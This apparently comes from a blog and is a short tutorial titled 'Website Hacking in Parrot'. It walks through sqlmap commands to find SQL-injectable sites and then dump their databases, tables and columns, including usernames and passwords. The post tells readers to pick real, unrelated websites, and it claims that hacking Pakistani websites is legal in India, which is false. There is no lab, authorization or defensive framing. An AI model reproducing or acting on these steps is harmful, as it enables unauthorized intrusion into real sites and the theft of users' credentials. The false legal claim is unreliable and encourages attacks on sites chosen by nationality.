Website Hacking in Parrot

  • Sqlmap is inbuilt in parrot /kali.So you dont need to install it.
  • Find out the vulnerable websites.Choose Pakistani website as it is legal to hack Pakistani website in India.Vulnerable websites are of the form "php?id="........First check whether the website is vulnerable or not by placing "'"(apostrophe) at the end of the website; if the website displays blankpage then it is vulnerable.  
  • Open terminal and type sqlmap.
  • Type "sqlmap -u "The website that you have chosen" --dbs" in command prompt.This will give you all the databases present in the website.
    • Here's the flowchart regarding the data of a website.
    • Website ==> Databases ==> Tables ==> Columns ==> Data
    • Website contains Databases;Databases contain Tables;Tables contain Columns;Columns contain the data which we require i.e. the usernames and the passwords.  
  • Next step is to get tables from a database.Type "sqlmap -u "The website that you have chosen" --tables -D DATABASENAME ".
  • Then proceed to columns by typing "sqlmap -u "The website that you have chosen" --columns -T TABLENAME -D DATABASENAME" 
  • Columns contain the data.So type the command "sqlmap -u "The website that you have chosen" --dump -T TABLENAME -D DATABASENAME"to dump(get) all the data which contains usernames and passwords.

Comments

Popular Posts